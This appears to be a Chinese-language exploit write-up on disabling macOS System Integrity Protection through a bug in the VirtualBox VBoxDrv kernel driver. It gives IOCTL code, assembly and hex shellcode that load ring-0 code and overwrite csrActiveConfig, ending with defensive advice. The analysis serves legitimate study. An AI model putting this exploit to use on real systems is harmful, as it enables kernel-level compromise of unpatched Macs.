如何通过VirtualBox kext漏洞禁用MacOS SIP
字数 1886 2025-08-19 12:41:54
VirtualBox kext漏洞利用:禁用MacOS SIP技术分析
1. 系统完整性保护(SIP)概述
系统完整性保护(System Integrity Protection, SIP)是OS X El Capitan及后续MacOS版本引入的安全机制,用于保护关键系统组件免受攻击,包括root用户。SIP通过以下方式实现保护:
- 限制对系统目录的写入
- 阻止动态库注入到系统进程
- 保护内核扩展不被加载
- 限制调试工具的使用
2. VirtualBox驱动漏洞分析
2.1 漏洞背景
VirtualBox是Oracle旗下的开源虚拟化软件,安装后会加载以下内核扩展:
- org.virtualbox.kext.VBoxDrv (主驱动)
- org.virtualbox.kext.VBoxUSB
- org.virtualbox.kext.VBoxNetFlt
- org.virtualbox.kext.VBoxNetAdp
其中VBoxDrv驱动存在漏洞,允许内核代码执行。
2.2 漏洞位置
漏洞存在于VBoxDrv驱动的以下关键函数链中:
VBoxDrvDarwinIOCtlSMAP:禁用SMAP保护VBoxDrvDarwinIOCtl:处理IOCTL请求supdrvIOCtlInnerUnrestricted:处理无限制IOCTL
2.3 关键漏洞点
- SMAP绕过:
VBoxDrvDarwinIOCtlSMAP函数在执行IOCTL前禁用SMAP(Supervisor Mode Access Prevention) - 无限制执行:通过
/dev/vboxdrv设备(需root权限)可调用特权IOCTL - 任意代码执行:
SUP_IOCTL_LDR_LOAD允许加载并执行用户提供的Ring-0代码
3. 漏洞利用步骤
3.1 准备工作
- 安装VirtualBox(5.2.16版本已验证)
- 确认驱动加载:
kextstat | grep org.virtualbox - 获取root权限(因需要使用
/dev/vboxdrv)
3.2 利用流程
-
建立IOService连接
io_connect_t conn = open_service("org_virtualbox_SupDrv"); // 使用magic cookie 0x64726962("drvb") IOServiceOpen(service, mach_task_self(), 0x64726962, &connect); -
打开字符设备
int fd = open("/dev/vboxdrv", O_RDWR); -
获取会话Cookie
SUPCOOKIE cookie; // 设置必要字段 strcpy(cookie.u.In.szMagic, SUPCOOKIE_MAGIC); cookie.u.In.u32MinVersion = 0x290001; ioctl(fd, SUP_IOCTL_COOKIE, &cookie); -
分配可执行内存
SUPLDROPEN ldropen; // 设置必要参数 strcpy(ldropen.u.In.szName, "XPN"); ioctl(fd, SUP_IOCTL_LDR_OPEN, &ldropen); -
加载并执行Shellcode
SUPLDRLOAD *ldr = malloc(9999); ldr->u.In.pvImageBase = ldropen.u.Out.pvImageBase; ldr->u.In.pfnModuleInit = ldropen.u.Out.pvImageBase; // 执行地址 memcpy(ldr->u.In.abImage, shellcode, sizeof(shellcode)); ioctl(fd, SUP_IOCTL_LDR_LOAD, ldr);
4. SIP禁用技术
4.1 SIP实现原理
SIP状态存储在boot_args结构的csrActiveConfig字段中,可通过以下路径访问:
PE_state.bootArgs->csrActiveConfig
4.2 CSR标志位
| 标志 | 值 | 描述 |
|---|---|---|
| CSR_ALLOW_UNTRUSTED_KEXTS | 1<<0 | 允许加载未签名内核扩展 |
| CSR_ALLOW_UNRESTRICTED_FS | 1<<1 | 允许无限制文件系统访问 |
| CSR_ALLOW_TASK_FOR_PID | 1<<2 | 允许task_for_pid调用 |
| CSR_ALLOW_KERNEL_DEBUGGER | 1<<3 | 允许内核调试 |
| CSR_ALLOW_APPLE_INTERNAL | 1<<4 | 允许Apple内部功能 |
| CSR_ALLOW_UNRESTRICTED_DTRACE | 1<<5 | 允许无限制DTrace |
| CSR_ALLOW_UNRESTRICTED_NVRAM | 1<<6 | 允许无限制NVRAM访问 |
| CSR_ALLOW_DEVICE_CONFIGURATION | 1<<7 | 允许设备配置 |
4.3 Shellcode编写
示例Shellcode(10.13.6内核):
push rbx
mov rax, [rbp] ; 第一栈帧
mov rax, [rax] ; 第二栈帧
mov rax, [rax] ; 第三栈帧
mov rax, [rax + 8] ; 内核地址
mov rbx, 0xFFFFFF80004D6EB1 ; 基准地址
sub rax, rbx ; 计算kASLR slide
mov rbx, 0xFFFFFF8000C1D1A8 + 0xA0 ; PE Boot + bootArgs
add rax, rbx
mov rax, [rax]
mov byte [rax + 0x498], 0x67 ; 设置csrActiveConfig
mov rax, 2
pop rbx
ret
5. 完整利用代码示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <IOKit/IOKitLib.h>
// Shellcode示例
char shellcode[] = "\x53\x48\x8b\x45\x00\x48\x8b\x00\x48\x8b\x00\x48\x8b\x40\x08\x48\xbb\xb1\x6e\x4d\x00\x80\xff\xff\xff\x48\x29\xd8\x48\xbb\x48\xd2\xc1\x00\x80\xff\xff\xff\x48\x01\xd8\x48\x8b\x00\xc6\x80\x98\x04\x00\x00\x67\x48\xc7\xc0\x02\x00\x00\x00\x5b\xc3";
typedef struct {
uint32_t u32Cookie;
uint32_t u32SessionCookie;
uint32_t cbIn;
uint32_t cbOut;
uint32_t fFlags;
uint32_t rc;
} SUPREQHDR;
typedef struct {
SUPREQHDR Hdr;
union {
struct {
uint32_t u32ReqVersion;
char szMagic[32];
uint32_t u32MinVersion;
} In;
struct {
uint32_t u32SessionCookie;
uint32_t u32Cookie;
} Out;
} u;
} SUPCOOKIE;
// 其他结构体定义...
io_connect_t open_service(const char *name) {
// 实现IOService连接
}
int main() {
// 完整利用代码实现
// 包括上述所有步骤
return 0;
}
6. 防御措施
- 更新VirtualBox:Oracle已在新版本中修复此漏洞
- 限制驱动加载:使用
kextutil限制第三方内核扩展 - SIP保持启用:非必要不修改SIP设置
- 监控/dev/vboxdrv:检测异常访问行为
- 使用系统完整性监控工具:如Endpoint Security框架
7. 总结
本文详细分析了如何通过VirtualBox内核扩展漏洞实现MacOS SIP的禁用。关键在于:
- 利用VirtualBox驱动的IOCTL处理漏洞
- 绕过SMAP保护实现内核代码执行
- 定位并修改
csrActiveConfig值
此技术展示了即使有SIP保护,通过第三方驱动漏洞仍可能实现内核级权限提升,强调了系统组件安全审计的重要性。